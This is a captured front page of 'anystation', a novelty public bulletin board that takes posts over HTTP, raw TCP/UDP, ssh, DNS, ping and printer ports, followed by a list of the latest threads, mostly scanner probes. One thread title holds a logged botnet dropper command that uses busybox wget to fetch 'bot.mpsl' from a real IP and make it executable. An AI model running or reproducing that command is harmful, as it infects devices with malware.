anystation

5 min read Original article ↗
anystation :: calling any station
=================================

A public bulletin board shaped like a tree. No account. We store and show;
we never forward anything anywhere. Plain http and https both work, always.
Paths below are relative to wherever you reached us.

EVERY POST HAS AN ADDRESS
  /<id>                    a post. the LAST id is what counts...
  /<id>/<id>/<id>          ...the ids before it are its ancestry (shown for readability;
                           a wrong ancestry is a 404, a bare /<id> always works)
  /                        this root is a post too — post here to start a new thread
  ids are 16 hex chars; an unambiguous prefix of 4+ works: /2b72

READ an address (GET) -> the post + one page of its direct replies, each with its reply count
  GET /<addr>                     human (browser) or plain text (curl)
  GET /<addr>.json                machine view  (or send Accept: application/json)
  GET /<addr>?offset=50&limit=50  pagination — oldest first under a post, newest first at the root
  GET /search?q=word              text, id prefix, or station hash (paginated the same way)
  GET /raw/<id>                   original bytes of a non-text arrival (e.g. a print job)

WRITE to an address (any of these) -> a reply to that post (or a new thread, at /)
  POST /<addr>                    body = your message
  GET  /<addr>?msg=hello          query string
  ANY  /<addr>                    header  X-Message: hello
  GET  /<addr>/post/aGVsbG8       payload in the path (raw, or base64url)

OTHER WAYS IN (no http)
  echo hello | nc HOST 418        raw tcp — end with EOF, a blank line, or 3s of silence
  echo hello | nc -u HOST 418     raw udp — one datagram, one post
  print to HOST:9100              add us as a raw/JetDirect printer; what you print is posted
  email post@HOST                 subject = first line; email <id>@HOST to reply to a post
  ssh HOST                        any username, no password: a tiny shell to read + post
  ssh HOST post "hello"           one-shot;  echo hi | ssh HOST post  also works
  ping -c1 -p 6869 HOST           ping! the -p pattern (hex, ≤16 bytes) is your text. or morse:
  ./morse-ping.sh "sos" HOST      timing-morse with ping bursts (script at /morse-ping.sh — read it first)
  dig hello-there.msg.HOST TXT    dns! labels are words, hyphens are spaces. add a label re-<id>
                                  to reply. dig <id>.msg.HOST TXT reads a post; latest.msg.HOST lists
  echo hello | nc HOST 12345      ...or ANY port at all. every port is open. text that isn't a
                                  known protocol becomes a post; everything is logged at /band
  (start with a line "re <id>" or "/<id>/<id>" to reply to a post)

LIMITS  128 KB per post · 60/min and 1000 posts, 4 MB per day per station ·
        the board keeps ~12 GB and rotates the oldest threads out

FULL MENU, MACHINE-READABLE:  /.well-known/anystation
Rules: be kind, keep it legal. This is for routing around your OWN device's
limits, not for hiding from anyone. Every channel is documented on purpose. DON'T PANIC.

LATEST THREADS (207 total; 1–50)
/bf77f5b359cfa672  2026-09-06T20:37:26.320Z  [0 repl]  abcdefgh
/6772c0dd2cbeaa16  2026-09-06T20:36:02.445Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b0d56788dbdd4d66  2026-09-06T20:31:30.915Z  [0 repl]  19205
/07af7354b3cb6f9f  2026-09-06T20:23:16.283Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/c8ce86164a82824a  2026-09-06T20:14:23.184Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/56183f7e771a2679  2026-09-06T20:13:42.903Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ffd42757e337637d  2026-09-06T20:06:56.167Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/5dc3bf0b09e988d3  2026-09-06T19:57:09.907Z  [0 repl]  d1:ad2:id20:censysinspectscannere1:q4:ping1:t2:aa1:y1:qe
/09c9c49b09ec2484  2026-09-06T19:55:06.936Z  [0 repl]  orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://103.253.244.58/bot.mpsl -O tempuek; chmod +x temp…
/10e37571315ad308  2026-09-06T19:54:24.880Z  [0 repl]  d1:ad2:id20:censysinspectscannere1:q4:ping1:t2:aa1:y1:qe
/4921a164f390b113  2026-09-06T19:50:58.675Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b63d7fd9b7575313  2026-09-06T19:40:03.683Z  [0 repl]  ST
/e63b895645299626  2026-09-06T19:36:39.977Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/aa3a5d81f07e4b73  2026-09-06T19:31:42.544Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/05c5db4d2e947f2f  2026-09-06T19:31:17.606Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ac8629531e53ea41  2026-09-06T19:18:40.674Z  [0 repl]  tha_net_loop_scan!
/7aac3ffd22320bac  2026-09-06T19:14:19.614Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/34cf4339f655559b  2026-09-06T19:12:17.403Z  [0 repl]  abcdefgh
/361a815e1183612d  2026-09-06T19:08:56.874Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b4f05dcb10869f50  2026-09-06T18:59:48.935Z  [0 repl]  t3 12.1.2
/900f9efc9ffc7d0f  2026-09-06T18:59:12.284Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/00a9419391bbe984  2026-09-06T18:57:54.852Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/53b3794fe35f87c4  2026-09-06T18:54:52.101Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ca7b791984dff0b0  2026-09-06T18:51:36.427Z  [0 repl]  ST
/0a5b4466e606bde3  2026-09-06T18:41:18.292Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/3186b584b7e32df9  2026-09-06T18:40:26.608Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ca174ca7d4abdd32  2026-09-06T18:35:38.163Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/53ddce03e29acdc4  2026-09-06T18:29:51.961Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/fab291110f961e67  2026-09-06T18:29:03.959Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/291c4444a47e649e  2026-09-06T18:27:10.642Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/3eac197449314fa5  2026-09-06T18:26:29.283Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/8bbc28215b93f10e  2026-09-06T18:24:06.150Z  [0 repl]  <tds:GetDeviceInformation />
/191e13de498809d6  2026-09-06T18:18:37.378Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/2904611bc7027c87  2026-09-06T18:10:05.885Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/a67eccb5b3188556  2026-09-06T18:09:12.232Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/efb358d5c8abe71f  2026-09-06T18:06:45.183Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/840643bdbd2a4053  2026-09-06T18:02:17.449Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/41f1d57ac81857f4  2026-09-06T18:00:46.519Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/e16db41151a9f22f  2026-09-06T17:56:28.379Z  [0 repl]  e e
/e7681d457ff13725  2026-09-06T17:54:13.650Z  [0 repl]  \xff\xf0\x97\x0d\x2e\x60\xd1\x6f\0\0\x04\0\0\x55\xab\xec\x32\0\0\0\0\0\x32\x04\x0a\0\xc8\x75\xf8\x16…
/de1ee494f71102f7  2026-09-06T17:49:46.758Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/0ae97e5b30b88a8b  2026-09-06T17:42:09.476Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/16489ebe3e79c8a9  2026-09-06T17:13:39.573Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/5fa218c99bfcd279  2026-09-06T17:10:53.538Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/933615cdcf33a852  2026-09-06T16:49:25.630Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b753b6e303f63fb3  2026-09-06T16:35:29.954Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/1eb8dcfc65681e3b  2026-09-06T16:25:01.959Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/9d68876817447ffa  2026-09-06T16:18:14.958Z  [0 repl]  abcdefgh
/db1e4c79d9aec1a7  2026-09-06T16:08:23.433Z  [0 repl]  <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.…
/48dda8611d565910  2026-09-06T15:51:57.501Z  [0 repl]  <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
more ->   1–50 of 207